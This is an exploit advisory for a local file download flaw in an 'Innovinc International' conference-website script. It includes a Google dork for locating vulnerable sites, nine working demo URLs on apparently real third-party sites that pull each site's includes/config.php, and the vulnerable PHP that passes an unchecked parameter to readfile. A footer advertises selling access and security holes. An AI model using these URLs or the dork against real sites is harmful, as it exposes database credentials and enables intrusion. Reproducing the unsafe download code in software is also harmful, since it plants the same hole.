/***********************************************************************************
** Exploit Title:   Innovinc International  Script Local File Download Vulnerability
**
** Exploit Author:  Milad Hacking
**
** Vendor Homepage : https://innovinc.org/
**
** Version : 1.1
**
** Google Dork : inurl:/importantdates intext:"Innovinc International"
**
** Date: 2020-02-13
**
** Tested on:  Kali Linux  /  lceweasel
**
***********************************************************************************
** Demo :

https://wns2020.org/download.php?file=includes/config.php

https://www.ifhn-2020.org/download.php?file=includes/config.php

https://www.wccrt.com/download.php?file=includes/config.php

https://www.idf-2020.org/download.php?file=includes/config.php

https://alzheimers-dementia.org/download.php?file=includes/config.php

https://geology-earthscience.com/download.php?file=includes/config.php

https://2020cce.com/download.php?file=includes/config.php

https://arc-2020.org/download.php?file=includes/config.php

https://icmsn2020.com/download.php?file=includes/config.php

***********************************************************************************
***********************************************************************************
** Vulnerability code :

<?php
$file = $_GET['file'];
if (file_exists($file)) {
    header('Content-Description: File Transfer');
    header('Content-Type: application/pdf');
    header('Content-Disposition: attachment; filename='.$_GET['newFile']);
    header('Content-Transfer-Encoding: binary');
    header('Content-Length: ' . filesize($file));
    ob_clean();
    flush();
    readfile($file);
    exit;
}
?>

***********************************************************************************
** Special thanks to:  iliya Norton - Milad Hacking - N3TC4T - Nazila Blackhat - Babak Kh4t4R
Mahdi CocAin - Mohammad Samiyi <3
***********************************************************************************
Sell Access And Security Holes
https://fullsec.org
https://telegram.me/Milad_Hacking
Https://telegram.me/TheHackings
http://instagram.com/Milad.Hacking
milad.hacking.blackhat@Gmail.com

***********************************************************************************